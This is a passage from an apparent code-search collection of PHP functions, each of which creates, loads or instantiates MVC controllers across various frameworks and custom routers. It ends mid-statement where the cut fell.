"protected function createController()\n {\n $controller = Str::studly(class_basename($this->argument('name')));\n $model_name = $this->qualifyClass($this->getNameInput());\n $name = Str::contains($model_name, ['\\\\']) ? Str::afterLast($model_name, '\\\\') : $model_name;\n\n $this->call('make:controller', [\n 'name' => \"{$controller}Controller\",\n '--model' => $model_name,\n ]);\n\n $path = base_path() . \"/app/Http/Controllers/{$controller}Controller.php\";\n $this->cleanupDummy($path, $name);\n }",
"private function makeInitiatedController()\n\t{\n\t\t$controller = new TestEntityCRUDController();\n\n\t\t$controller->setLoggerWrapper(Logger::create());\n\n\t\treturn $controller;\n\t}",
"protected function createController()\n {\n $controller = Str::studly(class_basename($this->argument('name')));\n\n $modelName = $this->qualifyClass($this->getNameInput());\n\n $this->call(ControllerMakeCommand::class, array_filter([\n 'name' => \"{$controller}/{$controller}Controller\",\n '--model' => $this->option('resource') || $this->option('api') ? $modelName : null,\n ]));\n\n $this->call(ControllerMakeCommand::class, array_filter([\n 'name' => \"Api/{$controller}/{$controller}Controller\",\n '--model' => $this->option('resource') || $this->option('api') ? $modelName : null,\n '--api' => true,\n ]));\n }",
"protected function createController()\n {\n $name = str_replace(\"Service\",\"\",$this->argument('name'));\n\n $this->call('make:controller', [\n 'name' => \"{$name}Controller\"\n ]);\n }",
"protected function createController()\n {\n $params = [\n 'name' => $this->argument('name'),\n ];\n\n if ($this->option('api')) {\n $params['--api'] = true;\n }\n\n $this->call('wizard:controller', $params);\n }",
"public function generateController () {\r\n $controllerParam = \\app\\lib\\router::getPath();\r\n $controllerName = \"app\\controller\\\\\" . end($controllerParam);\r\n $this->controller = new $controllerName;\r\n }",
"public static function newController($controller)\n\t{\n\t\t$objController = \"App\\\\Controllers\\\\\".$controller;\n\t\treturn new $objController;\n\t}",
"public function createController()\n\t{\n\t\tif(class_exists($this->controller))\n\t\t{\n\t\t\t// get the parent class he extends\n\t\t\t$parents = class_parents($this->controller);\n\n\t\t\t// $parents = class_implements($this->controller); used if our Controller was just an interface not a class\n\n\t\t\t// check if the class implements our Controller Class\n\t\t\tif(in_array(\"Controller\", $parents))\n\t\t\t{\n\t\t\t\t// check if the action in the request exists in that class\n\t\t\t\tif(method_exists($this->controller, $this->action))\n\t\t\t\t{\n\t\t\t\t\treturn new $this->controller($this->action, $this->request);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// Action is not exist\n\t\t\t\t\techo 'Method '. $this->action .' doesn\\'t exist in '. $this->controller;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// The controller doesn't extends our Controller Class\n\t\t\t\techo $this->controller.' doesn\\'t extends our Controller Class';\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Controller Doesn't exist\n\t\t\techo $this->controller.' doesn\\'t exist';\n\t\t}\n\t}",
"public function createController( ezcMvcRequest $request );",
"public function createController() {\n //check our requested controller's class file exists and require it if so\n /*if (file_exists(__DIR__ . \"/../Controllers/\" . $this->controllerName . \".php\")) {\n require(__DIR__ . \"/../Controllers/\" . $this->controllerName . \".php\");\n } else {\n throw new Exception('Route does not exist');\n }*/\n\n try {\n require_once __DIR__ . '/../Controllers/' . $this->controllerName . '.php';\n } catch (Exception $e) {\n return $e;\n }\n \n //does the class exist?\n if (class_exists($this->controllerClass)) {\n $parents = class_parents($this->controllerClass);\n \n //does the class inherit from the BaseController class?\n if (in_array(\"BaseController\",$parents)) { \n //does the requested class contain the requested action as a method?\n if (method_exists($this->controllerClass, $this->endpoint)) {\n return new $this->controllerClass($this->args, $this->endpoint, $this->domain);\n } else {\n throw new Exception('Action does not exist');\n }\n } else {\n throw new Exception('Class does not inherit correctly.');\n }\n } else {\n throw new Exception('Controller does not exist.');\n }\n }",
"public static function create()\n\t{\n\t\t//check, if a JobController instance already exists\n\t\tif(JobController::$jobController == null)\n\t\t{\n\t\t\tJobController::$jobController = new JobController();\n\t\t}\n\n\t\treturn JobController::$jobController;\n\t}",
"private function controller()\n {\n $location = $this->args[\"location\"] . DIRECTORY_SEPARATOR . 'controllers' . DIRECTORY_SEPARATOR;\n $relative_location = $this->args['application_folder'] . DIRECTORY_SEPARATOR . 'controllers' . DIRECTORY_SEPARATOR;\n\n if (!empty($this->args['subdirectories']))\n {\n $location .= $this->args['subdirectories'] . DIRECTORY_SEPARATOR;\n $relative_location .= $this->args['subdirectories'] . DIRECTORY_SEPARATOR;\n }\n\n if (!is_dir($location))\n {\n mkdir($location, 0755, TRUE);\n }\n\n $relative_location .= $this->args['filename'];\n $filename = $location . $this->args['filename'];\n\n $args = array(\n \"class_name\" => ApplicationHelpers::camelize($this->args['name']),\n \"filename\" => $this->args['filename'],\n \"application_folder\" => $this->args['application_folder'],\n \"parent_class\" => (isset($this->args['parent'])) ? $this->args['parent'] : $this->args['parent_controller'],\n \"extra\" => $this->extra,\n 'relative_location' => $relative_location,\n 'helper_name' => strtolower($this->args['name']) . '_helper',\n );\n\n $template = new TemplateScanner(\"controller\", $args);\n $controller = $template->parse();\n\n $message = \"\\t\";\n if (file_exists($filename))\n {\n $message .= 'Controller already exists : ';\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'light_blue');\n }\n $message .= $relative_location;\n }\n elseif (file_put_contents($filename, $controller))\n {\n $message .= 'Created controller: ';\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'green');\n }\n $message .= $relative_location;\n }\n else\n {\n $message .= 'Unable to create controller: ';\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'red');\n }\n $message .= $relative_location;\n }\n\n // The controller has been generated, output the confirmation message\n fwrite(STDOUT, $message . PHP_EOL);\n\n // Create the helper files.\n $this->helpers();\n\n $this->assets();\n\n // Create the view files.\n $this->views();\n\n return;\n }",
"public function createController( $controllerName ) {\r\n\t\t$refController \t\t= $this->instanceOfController( $controllerName );\r\n\t\t$refConstructor \t= $refController->getConstructor();\r\n\t\tif ( ! $refConstructor ) return $refController->newInstance();\r\n\t\t$initParameter \t\t= $this->setParameter( $refConstructor );\r\n\t\treturn $refController->newInstanceArgs( $initParameter ); \r\n\t}",
"public function create($controllerName) {\r\n\t\tif (!$controllerName)\r\n\t\t\t$controllerName = $this->defaultController;\r\n\r\n\t\t$controllerName = ucfirst(strtolower($controllerName)).'Controller';\r\n\t\t$controllerFilename = $this->searchDir.'/'.$controllerName.'.php';\r\n\r\n\t\tif (preg_match('/[^a-zA-Z0-9]/', $controllerName))\r\n\t\t\tthrow new Exception('Invalid controller name', 404);\r\n\r\n\t\tif (!file_exists($controllerFilename)) {\r\n\t\t\tthrow new Exception('Controller not found \"'.$controllerName.'\"', 404);\r\n\t\t}\r\n\r\n\t\trequire_once $controllerFilename;\r\n\r\n\t\tif (!class_exists($controllerName) || !is_subclass_of($controllerName, 'Controller'))\r\n\t\t\tthrow new Exception('Unknown controller \"'.$controllerName.'\"', 404);\r\n\r\n\t\t$this->controller = new $controllerName();\r\n\t\treturn $this;\r\n\t}",
"private function createController($controllerName)\n {\n $className = ucfirst($controllerName) . 'Controller';\n ${$this->lcf($controllerName) . 'Controller'} = new $className();\n return ${$this->lcf($controllerName) . 'Controller'};\n }",
"public function createControllerObject(string $controller)\n {\n $this->checkControllerExists($controller);\n $controller = $this->ctlrStrSrc.$controller;\n $controller = new $controller();\n return $controller;\n }",
"public function create_controller($controller, $action){\n\t $creado = false;\n\t\t$controllers_dir = Kumbia::$active_controllers_dir;\n\t\t$file = strtolower($controller).\"_controller.php\";\n\t\tif(file_exists(\"$controllers_dir/$file\")){\n\t\t\tFlash::error(\"Error: El controlador '$controller' ya existe\\n\");\n\t\t} else {\n\t\t\tif($this->post(\"kind\")==\"applicationcontroller\"){\n\t\t\t\t$filec = \"<?php\\n\t\t\t\\n\tclass \".ucfirst($controller).\"Controller extends ApplicationController {\\n\\n\\t\\tfunction $action(){\\n\\n\\t\\t}\\n\\n\t}\\n\t\\n?>\\n\";\n\t\t\t\tif(@file_put_contents(\"$controllers_dir/$file\", $filec)){\n\t\t\t\t $creado = true;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$filec = \"<?php\\n\t\t\t\\n\tclass \".ucfirst($controller).\"Controller extends StandardForm {\\n\\n\\t\\tpublic \\$scaffold = true;\\n\\n\\t\\tpublic function __construct(){\\n\\n\\t\\t}\\n\\n\t}\\n\t\\n?>\\n\";\n\t\t\t\tfile_put_contents(\"$controllers_dir/$file\", $filec);\n\t\t\t\tif($this->create_model($controller, $controller, \"index\")){\n\t\t\t\t $creado = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif($creado){\n\t\t\t Flash::success(\"Se creó correctamente el controlador '$controller' en '$controllers_dir/$file'\");\n\t\t\t}else {\n\t\t\t Flash::error(\"Error: No se pudo escribir en el directorio, verifique los permisos sobre el directorio\");\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t$this->route_to(\"controller: $controller\", \"action: $action\");\n\t}",
"private function instanceController( string $controller_class ): Controller {\n\t\treturn new $controller_class( $this->request, $this->site );\n\t}",
"public function makeController($controller_name)\n\t{\n\t\t$model\t= $this->_makeModel($controller_name, $this->_storage_type);\n\t\t$view\t= $this->_makeView($controller_name);\n\t\t\n\t\treturn new $controller_name($model, $view);\n\t}",
"public function create()\n {\n $output = new \\Symfony\\Component\\Console\\Output\\ConsoleOutput();\n $output->writeln(\"<info>Controller Create</info>\");\n }",
"protected function createDefaultController() {\n Octopus::requireOnce($this->app->getOption('OCTOPUS_DIR') . 'controllers/Default.php');\n return new DefaultController();\n }",
"private function createControllerDefinition()\n {\n $id = $this->getServiceId('controller');\n if (!$this->container->has($id)) {\n $definition = new Definition($this->getServiceClass('controller'));\n $definition\n ->addMethodCall('setConfiguration', [new Reference($this->getServiceId('configuration'))])\n ->addMethodCall('setContainer', [new Reference('service_container')])\n ;\n $this->container->setDefinition($id, $definition);\n }\n }",
"public function createController( $ctrlName, $action ) {\n $args['action'] = $action;\n $args['path'] = $this->path . '/modules/' . $ctrlName;\n $ctrlFile = $args['path'] . '/Controller.php';\n // $args['moduleName'] = $ctrlName;\n if ( file_exists( $ctrlFile ) ) {\n $ctrlPath = str_replace( CITRUS_PATH, '', $args['path'] );\n $ctrlPath = str_replace( '/', '\\\\', $ctrlPath ) . '\\Controller';\n try { \n $r = new \\ReflectionClass( $ctrlPath ); \n $inst = $r->newInstanceArgs( $args ? $args : array() );\n\n $this->controller = Citrus::apply( $inst, Array( \n 'name' => $ctrlName, \n ) );\n if ( $this->controller->is_protected == null ) {\n $this->controller->is_protected = $this->is_protected;\n }\n return $this->controller;\n } catch ( \\Exception $e ) {\n prr($e, true);\n }\n } else {\n return false;\n }\n }",
"protected function createTestController() {\n\t\t$controller = new CController('test');\n\n\t\t$action = $this->getMock('CAction', array('run'), array($controller, 'test'));\n\t\t$controller->action = $action;\n\n\t\tYii::app()->controller = $controller;\n\t\treturn $controller;\n\t}",
"public static function newController($controllerName, $params = [], $request = null) {\n\n\t\t$controller = \"App\\\\Controllers\\\\\".$controllerName;\n\n\t\treturn new $controller($params, $request);\n\n\t}",
"private function loadController() : void\n\t{\n\t\t$this->controller = new $this->controllerName($this->request);\n\t}",
"public function createController($pi, array $params)\n {\n $class = $pi . '_Controller_' . ucfirst($params['page']);\n\n return new $class();\n }",
"public function createController() {\n //check our requested controller's class file exists and require it if so\n \n if (file_exists(\"modules/\" . $this->controllerName . \"/controllers/\" . $this->controllerName .\".php\" ) && $this->controllerName != 'error') {\n require(\"modules/\" . $this->controllerName . \"/controllers/\" . $this->controllerName .\".php\");\n \n } else {\n \n $this->urlValues['controller'] = \"error\";\n require(\"modules/error/controllers/error.php\");\n return new ErrorController(\"badurl\", $this->urlValues);\n }\n\n //does the class exist?\n if (class_exists($this->controllerClass)) {\n $parents = class_parents($this->controllerClass);\n //does the class inherit from the BaseController class?\n if (in_array(\"BaseController\", $parents)) {\n //does the requested class contain the requested action as a method?\n if (method_exists($this->controllerClass, $this->action)) { \n return new $this->controllerClass($this->action, $this->urlValues);\n \n } else {\n //bad action/method error\n $this->urlValues['controller'] = \"error\";\n require(\"modules/error/controllers/error.php\");\n return new ErrorController(\"badview\", $this->urlValues);\n }\n } else {\n $this->urlValues['controller'] = \"error\";\n //bad controller error\n echo \"hjh\";\n require(\"modules/error/controllers/error.php\");\n return new ErrorController(\"b\", $this->urlValues);\n }\n } else {\n \n //bad controller error\n require(\"modules/error/controllers/error.php\");\n return new ErrorController(\"badurl\", $this->urlValues);\n }\n }",
"protected static function createController($name) {\n $result = null;\n\n $name = self::$_namespace . ($name ? $name : self::$defaultController) . 'Controller';\n if(class_exists($name)) {\n $controllerClass = new \\ReflectionClass($name);\n if($controllerClass->hasMethod('run')) {\n $result = new $name();\n }\n }\n\n return $result;\n }",
"public function createController(): void\n {\n $minimum_buffer_min = 3;\n $token_ok = $this->routerService->ds_token_ok($minimum_buffer_min);\n if ($token_ok) {\n # 2. Call the worker method\n # More data validation would be a good idea here\n # Strip anything other than characters listed\n $results = $this->worker($this->args);\n\n if ($results) {\n # Redirect the user to the NDSE view\n # Don't use an iFrame!\n # State can be stored/recovered using the framework's session or a\n # query parameter on the returnUrl\n header('Location: ' . $results[\"redirect_url\"]);\n exit;\n }\n } else {\n $this->clientService->needToReAuth($this->eg);\n }\n }",
"protected function createController($controllerClass)\n {\n $cls = new ReflectionClass($controllerClass);\n return $cls->newInstance($this->environment);\n }",
"protected function createController($name)\n {\n $controllerClass = 'controller\\\\'.ucfirst($name).'Controller';\n\n if(!class_exists($controllerClass)) {\n throw new \\Exception('Controller class '.$controllerClass.' not exists!');\n }\n\n return new $controllerClass();\n }",
"protected function initController() {\n\t\tif (!isset($_GET['controller'])) {\n\t\t\t$this->initDefaultController();\n\t\t\treturn;\n\t\t}\n\t\t$controllerClass = $_GET['controller'].\"Controller\";\n\t\tif (!class_exists($controllerClass)) {\n\t\t\t//Console::error(@$_GET['controller'].\" doesn't exist\");\n\t\t\t$this->initDefaultController();\n\t\t\treturn;\n\t\t}\n\t\t$this->controller = new $controllerClass();\n\t}",
"public function makeTestController(TestController $controller)\r\n\t{\r\n\t}",
"static function factory($GET=array(), $POST=array(), $FILES=array()) {\n $type = (isset($GET['type'])) ? $GET['type'] : '';\n $objectController = $type.'_Controller';\n $addLocation = $type.'/'.$objectController.'.php';\n foreach ($_ENV['locations'] as $location) {\n if (is_file($location.$addLocation)) {\n return new $objectController($GET, $POST, $FILES);\n } \n }\n throw new Exception('The controller \"'.$type.'\" does not exist.');\n }",
"public function create()\n {\n $general = new ModeloController();\n\n return $general->create();\n }",
"public function makeController($controllerNamespace, $controllerName, Log $log, $session, Request $request, Response $response)\r\n\t{\r\n\t\t$fullControllerName = '\\\\Application\\\\Controller\\\\' . (!empty($controllerNamespace) ? $controllerNamespace . '\\\\' : '') . $controllerName;\r\n\t\t$controller = new $fullControllerName();\r\n\t\t$controller->setConfig($this->config);\r\n\t\t$controller->setRequest($request);\r\n\t\t$controller->setResponse($response);\r\n\t\t$controller->setLog($log);\r\n\t\tif (isset($session))\r\n\t\t{\r\n\t\t\t$controller->setSession($session);\r\n\t\t}\r\n\r\n\t\t// Execute additional factory method, if available (exists in \\Application\\Controller\\Factory)\r\n\t\t$method = 'make' . $controllerName;\r\n\t\tif (is_callable(array($this, $method)))\r\n\t\t{\r\n\t\t\t$this->$method($controller);\r\n\t\t}\r\n\r\n\t\t// If the controller has an init() method, call it now\r\n\t\tif (is_callable(array($controller, 'init')))\r\n\t\t{\r\n\t\t\t$controller->init();\r\n\t\t}\r\n\r\n\t\treturn $controller;\r\n\t}",
"public static function create()\n\t{\n\t\t//check, if an AccessGroupController instance already exists\n\t\tif(AccessGroupController::$accessGroupController == null)\n\t\t{\n\t\t\tAccessGroupController::$accessGroupController = new AccessGroupController();\n\t\t}\n\n\t\treturn AccessGroupController::$accessGroupController;\n\t}",
"public static function buildController()\n\t{\n\t\t$file = CONTROLLER_PATH . 'indexController.class.php';\n\n\t\tif(!file_exists($file))\n\t\t{\n\t\t\tif(\\RCPHP\\Util\\Check::isClient())\n\t\t\t{\n\t\t\t\t$controller = '<?php\nclass indexController extends \\RCPHP\\Controller {\n public function index(){\n echo \"Welcome RcPHP!\\n\";\n }\n}';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$controller = '<?php\nclass indexController extends \\RCPHP\\Controller {\n public function index(){\n echo \\'<style type=\"text/css\">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: \"微软雅黑\"; color: #333;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px }</style><div style=\"padding: 24px 48px;\"> <h1>:)</h1><p>Welcome <b>RcPHP</b>!</p></div>\\';\n }\n}';\n\t\t\t}\n\t\t\tfile_put_contents($file, $controller);\n\t\t}\n\t}",
"public function getController( );",
"public static function getInstance() : Controller {\n if ( null === self::$instance ) {\n self::$instance = new self();\n self::$instance->options = new Options(\n self::OPTIONS_KEY\n );\n }\n\n return self::$instance;\n }",
"static function appCreateController($entityName, $prefijo = '') {\n\n $controller = ControllerBuilder::getController($entityName, $prefijo);\n $entityFile = ucfirst(str_replace($prefijo, \"\", $entityName));\n $fileController = \"../../modules/{$entityFile}/{$entityFile}Controller.class.php\";\n\n $result = array();\n $ok = self::createArchive($fileController, $controller);\n ($ok) ? array_push($result, \"Ok, {$fileController} created\") : array_push($result, \"ERROR creating {$fileController}\");\n\n return $result;\n }",
"public static function newInstance($path = \\simpleChat\\Utility\\ROOT_PATH)\n {\n $request = new Request();\n \n \n if ($request->isAjax())\n {\n return new AjaxController();\n }\n else if ($request->jsCode())\n {\n return new JsController();\n }\n else\n {\n return new StandardController($path);\n }\n }",
"private function createInstance()\n {\n $objectManager = new \\Magento\\Framework\\TestFramework\\Unit\\Helper\\ObjectManager($this);\n $this->controller = $objectManager->getObject(\n \\Magento\\NegotiableQuote\\Controller\\Adminhtml\\Quote\\RemoveFailedSku::class,\n [\n 'context' => $this->context,\n 'logger' => $this->logger,\n 'messageManager' => $this->messageManager,\n 'cart' => $this->cart,\n 'resultRawFactory' => $this->resultRawFactory\n ]\n );\n }",
"function loadController(){\n $name = ucfirst($this->request->controller).'Controller' ;\n $file = ROOT.DS.'Controller'.DS.$name.'.php' ;\n /*if(!file_exists($file)){\n $this->error(\"Le controleur \".$this->request->controller.\" n'existe pas\") ;\n }*/\n require_once $file;\n $controller = new $name($this->request);\n return $controller ;\n }",
"public function __construct(){\r\n $app = Application::getInstance();\r\n $this->_controller = $app->getController();\r\n }",
"public static function & instance()\n {\n if (self::$instance === null) {\n Benchmark::start(SYSTEM_BENCHMARK.'_controller_setup');\n\n // Include the Controller file\n require Router::$controller_path;\n\n try {\n // Start validation of the controller\n $class = new ReflectionClass(ucfirst(Router::$controller).'_Controller');\n } catch (ReflectionException $e) {\n // Controller does not exist\n Event::run('system.404');\n }\n\n if ($class->isAbstract() or (IN_PRODUCTION and $class->getConstant('ALLOW_PRODUCTION') == false)) {\n // Controller is not allowed to run in production\n Event::run('system.404');\n }\n\n // Run system.pre_controller\n Event::run('system.pre_controller');\n\n // Create a new controller instance\n $controller = $class->newInstance();\n\n // Controller constructor has been executed\n Event::run('system.post_controller_constructor');\n\n try {\n // Load the controller method\n $method = $class->getMethod(Router::$method);\n\n // Method exists\n if (Router::$method[0] === '_') {\n // Do not allow access to hidden methods\n Event::run('system.404');\n }\n\n if ($method->isProtected() or $method->isPrivate()) {\n // Do not attempt to invoke protected methods\n throw new ReflectionException('protected controller method');\n }\n\n // Default arguments\n $arguments = Router::$arguments;\n } catch (ReflectionException $e) {\n // Use __call instead\n $method = $class->getMethod('__call');\n\n // Use arguments in __call format\n $arguments = array(Router::$method, Router::$arguments);\n }\n\n // Stop the controller setup benchmark\n Benchmark::stop(SYSTEM_BENCHMARK.'_controller_setup');\n\n // Start the controller execution benchmark\n Benchmark::start(SYSTEM_BENCHMARK.'_controller_execution');\n\n // Execute the controller method\n $method->invokeArgs($controller, $arguments);\n\n // Controller method has been executed\n Event::run('system.post_controller');\n\n // Stop the controller execution benchmark\n Benchmark::stop(SYSTEM_BENCHMARK.'_controller_execution');\n }\n\n return self::$instance;\n }",
"protected function instantiateController($class)\n {\n $controller = new $class();\n\n if ($controller instanceof Controller) {\n $controller->setContainer($this->container);\n }\n\n return $controller;\n }",
"public function __construct (){\n $this->AdminController = new AdminController();\n $this->ArticleController = new ArticleController();\n $this->AuditoriaController = new AuditoriaController();\n $this->CommentController = new CommentController();\n $this->CourseController = new CourseController();\n $this->InscriptionsController = new InscriptionsController();\n $this->ModuleController = new ModuleController();\n $this->PlanController = new PlanController();\n $this->ProfileController = new ProfileController();\n $this->SpecialtyController = new SpecialtyController();\n $this->SubscriptionController = new SubscriptionController();\n $this->TeacherController = new TeacherController();\n $this->UserController = new UserController();\n $this->WebinarController = new WebinarController();\n }",
"protected function makeController($prefix)\n {\n new MakeController($this, $this->files, $prefix);\n }",
"public function createController($route)\n {\n $controller = parent::createController('gymv/' . $route);\n return $controller === false\n ? parent::createController($route)\n : $controller;\n }",
"public static function createFrontController()\n {\n return self::createInjectorWithBindings(self::extractArgs(func_get_args()))\n ->getInstance('net::stubbles::websites::stubFrontController');\n }",
"public static function controller($name)\n {\n $name = ucfirst(strtolower($name));\n \n $directory = 'controller';\n $filename = $name;\n $tracker = 'controller';\n $init = (boolean) $init;\n $namespace = 'controller';\n $class_name = $name;\n \n return self::_load($directory, $filename, $tracker, $init, $namespace, $class_name);\n }",
"protected static function instantiateMockController()\n {\n /** @var Event $oEvent */\n $oEvent = Factory::service('Event');\n\n if (!$oEvent->hasBeenTriggered(Events::SYSTEM_STARTING)) {\n\n require_once BASEPATH . 'core/Controller.php';\n\n load_class('Output', 'core');\n load_class('Security', 'core');\n load_class('Input', 'core');\n load_class('Lang', 'core');\n\n new NailsMockController();\n }\n }",
"private static function controller()\n {\n $files = ['Controller'];\n $folder = static::$root.'MVC'.'/';\n\n self::call($files, $folder);\n }",
"public function createController()\n\t{\n\t\t$originalFile = app_path('Http/Controllers/Reports/SampleReport.php');\n\t\t$newFile = dirname($originalFile) . DIRECTORY_SEPARATOR . $this->class . $this->sufix . '.php';\n\n\t\t// Read original file\n\t\tif( ! $content = file_get_contents($originalFile))\n\t\t\treturn false;\n\n\t\t// Replace class name\n\t\t$content = str_replace('SampleReport', $this->class . $this->sufix, $content);\n\n\t\t// Write new file\n\t\treturn (bool) file_put_contents($newFile, $content);\n\t}",
"public function runController() {\n // Check for a router\n if (is_null($this->getRouter())) {\n \t // Set the method to load\n \t $sController = ucwords(\"{$this->getController()}Controller\");\n } else {\n\n // Set the controller with the router\n $sController = ucwords(\"{$this->getController()}\".ucfirst($this->getRouter()).\"Controller\");\n }\n \t// Check for class\n \tif (class_exists($sController, true)) {\n \t\t// Set a new instance of Page\n \t\t$this->setPage(new Page());\n \t\t// The class exists, load it\n \t\t$oController = new $sController();\n\t\t\t\t// Now check for the proper method \n\t\t\t\t// inside of the controller class\n\t\t\t\tif (method_exists($oController, $this->loadConfigVar('systemSettings', 'controllerLoadMethod'))) {\n\t\t\t\t\t// We have a valid controller, \n\t\t\t\t\t// execute the initializer\n\t\t\t\t\t$oController->init($this);\n\t\t\t\t\t// Set the variable scope\n\t \t\t$this->setViewScope($oController);\n\t \t\t// Render the layout\n\t \t\t$this->renderLayout();\n\t\t\t\t} else {\n\t\t\t\t\t// The initializer does not exist, \n\t\t\t\t\t// which means an invalid controller, \n\t\t\t\t\t// so now we let the caller know\n\t\t\t\t\t$this->setError($this->loadConfigVar('errorMessages', 'invalidController'));\n\t\t\t\t\t// Run the error\n\t\t\t\t\t// $this->runError();\n\t\t\t\t}\n \t// The class does not exist\n \t} else {\n\t\t\t\t// Set the system error\n\t \t\t$this->setError(\n\t\t\t\t\tstr_replace(\n\t\t\t\t\t\t':controllerName', \n\t\t\t\t\t\t$sController, \n\t\t\t\t\t\t$this->loadConfigVar(\n\t\t\t\t\t\t\t'errorMessages', \n\t\t\t\t\t\t\t'controllerDoesNotExist'\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t);\n \t\t// Run the error\n\t\t\t\t// $this->runError();\n \t}\n \t// Return instance\n \treturn $this;\n }",
"public function controller()\n\t{\n\t\n\t}",
"protected function buildController()\n {\n $columns = collect($this->columns)->pluck('column')->implode('|');\n\n $permissions = [\n 'create:'.$this->module->createPermission->name,\n 'edit:'.$this->module->editPermission->name,\n 'delete:'.$this->module->deletePermission->name,\n ];\n\n $this->controller = [\n 'name' => $this->class,\n '--model' => $this->class,\n '--request' => $this->class.'Request',\n '--permissions' => implode('|', $permissions),\n '--view-folder' => snake_case($this->module->name),\n '--fields' => $columns,\n '--module' => $this->module->id,\n ];\n }",
"function getController(){\n\treturn getFactory()->getBean( 'Controller' );\n}",
"protected function getController()\n {\n $uri = WingedLib::clearPath(static::$parentUri);\n if (!$uri) {\n $uri = './';\n $explodedUri = ['index', 'index'];\n } else {\n $explodedUri = explode('/', $uri);\n if (count($explodedUri) == 1) {\n $uri = './' . $explodedUri[0] . '/';\n } else {\n $uri = './' . $explodedUri[0] . '/' . $explodedUri[1] . '/';\n }\n }\n\n $indexUri = WingedLib::clearPath(\\WingedConfig::$config->INDEX_ALIAS_URI);\n if ($indexUri) {\n $indexUri = explode('/', $indexUri);\n }\n\n if ($indexUri) {\n if ($explodedUri[0] === 'index' && isset($indexUri[0])) {\n static::$controllerName = Formater::camelCaseClass($indexUri[0]) . 'Controller';\n $uri = './' . $indexUri[0] . '/';\n }\n if (isset($explodedUri[1]) && isset($indexUri[1])) {\n if ($explodedUri[1] === 'index') {\n static::$controllerAction = 'action' . Formater::camelCaseMethod($indexUri[1]);\n $uri .= $indexUri[1] . '/';\n }\n } else {\n $uri .= 'index/';\n }\n }\n\n $controllerDirectory = new Directory(static::$parent . 'controllers/', false);\n if ($controllerDirectory->exists()) {\n $controllerFile = new File($controllerDirectory->folder . static::$controllerName . '.php', false);\n if ($controllerFile->exists()) {\n include_once $controllerFile->file_path;\n if (class_exists(static::$controllerName)) {\n $controller = new static::$controllerName();\n if (method_exists($controller, static::$controllerAction)) {\n try {\n $reflectionMethod = new \\ReflectionMethod(static::$controllerName, static::$controllerAction);\n $pararms = [];\n foreach ($reflectionMethod->getParameters() as $parameter) {\n $pararms[$parameter->getName()] = $parameter->isOptional();\n }\n } catch (\\Exception $exception) {\n $pararms = [];\n }\n return [\n 'uri' => $uri,\n 'params' => $pararms,\n ];\n }\n }\n }\n }\n return false;\n }",
"public function __construct()\n {\n $this->controller = new DHTController();\n }",
"public function createController($controllers) {\n\t\tforeach($controllers as $module=>$controllers) {\n\t\t\tforeach($controllers as $key=>$controller) {\n\t\t\t\tif(!file_exists(APPLICATION_PATH.\"/modules/$module/controllers/\".ucfirst($controller).\"Controller.php\")) {\n\t\t\t\t\tMy_Class_Maerdo_Console::display(\"3\",\"Create '\".ucfirst($controller).\"' controller in $module\");\t\t\t\t\n\t\t\t\t\texec(\"zf create controller $controller index-action-included=0 $module\");\t\t\t\t\t\n\t\t\t\t}\telse {\n\t\t\t\t\tMy_Class_Maerdo_Console::display(\"3\",ucfirst($controller).\"' controller in $module already exists\");\t\n\t\t\t\t}\n\t\t\t}\t\n\t\t}\n\t}",
"protected function instantiateController($class)\n {\n return new $class($this->routesMaker);\n }",
"private function createController($table){\n\n // Filtering file name\n $fileName = $this::cleanToName($table[\"name\"]) . 'Controller.php';\n\n // Prepare the Class scheme inside the controller\n $contents = '<?php '.$fileName.' ?>';\n\n\n // Return a boolean to process completed\n return Storage::disk('controllers')->put($this->appNamePath.'/'.$fileName, $contents);\n\n }",
"public function GetController()\n\t{\n\t\t$params = $this->QueryVarArrayToParameterArray($_GET);\n\t\tif (!empty($_POST)) {\n\t\t\t$params = array_merge($params, $this->QueryVarArrayToParameterArray($_POST));\n\t\t}\n\n\t\tif (!empty($_GET['q'])) {\n\t\t\t$restparams = GitPHP_Router::ReadCleanUrl($_SERVER['REQUEST_URI']);\n\t\t\tif (count($restparams) > 0)\n\t\t\t\t$params = array_merge($params, $restparams);\n\t\t}\n\n\t\t$controller = null;\n\n\t\t$action = null;\n\t\tif (!empty($params['action']))\n\t\t\t$action = $params['action'];\n\n\t\tswitch ($action) {\n\n\n\t\t\tcase 'search':\n\t\t\t\t$controller = new GitPHP_Controller_Search();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'commitdiff':\n\t\t\tcase 'commitdiff_plain':\n\t\t\t\t$controller = new GitPHP_Controller_Commitdiff();\n\t\t\t\tif ($action === 'commitdiff_plain')\n\t\t\t\t\t$controller->SetParam('output', 'plain');\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'blobdiff':\n\t\t\tcase 'blobdiff_plain':\n\t\t\t\t$controller = new GitPHP_Controller_Blobdiff();\n\t\t\t\tif ($action === 'blobdiff_plain')\n\t\t\t\t\t$controller->SetParam('output', 'plain');\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'history':\n\t\t\t\t$controller = new GitPHP_Controller_History();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'shortlog':\n\t\t\tcase 'log':\n\t\t\t\t$controller = new GitPHP_Controller_Log();\n\t\t\t\tif ($action === 'shortlog')\n\t\t\t\t\t$controller->SetParam('short', true);\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'snapshot':\n\t\t\t\t$controller = new GitPHP_Controller_Snapshot();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'tree':\n\t\t\tcase 'trees':\n\t\t\t\t$controller = new 